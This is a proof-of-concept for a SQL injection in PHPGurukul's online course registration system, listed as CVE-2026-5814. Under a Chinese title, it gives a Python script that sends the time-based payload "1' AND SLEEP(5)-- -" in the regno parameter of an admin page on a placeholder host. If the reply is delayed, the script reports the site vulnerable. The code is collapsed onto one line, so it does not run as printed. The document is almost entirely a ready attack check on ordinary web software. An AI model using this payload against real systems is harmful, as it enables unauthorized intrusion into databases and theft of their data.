CVE-2026-5814 PHPGurukul在线课程注册系统SQL注入漏洞

import requests # Target URL configuration target_url = "http://target.com/admin/check_availability.php" # SQL Injection Payload # Attempting to bypass logic or extract data using time-based injection payload = "1' AND SLEEP(5)-- -" params = { "regno": payload } try: # Send malicious request response = requests.get(target_url, params=params, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] SQL Injection Vulnerability Confirmed (Time-based)") else: print("[-] Vulnerability not confirmed or patch applied") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}")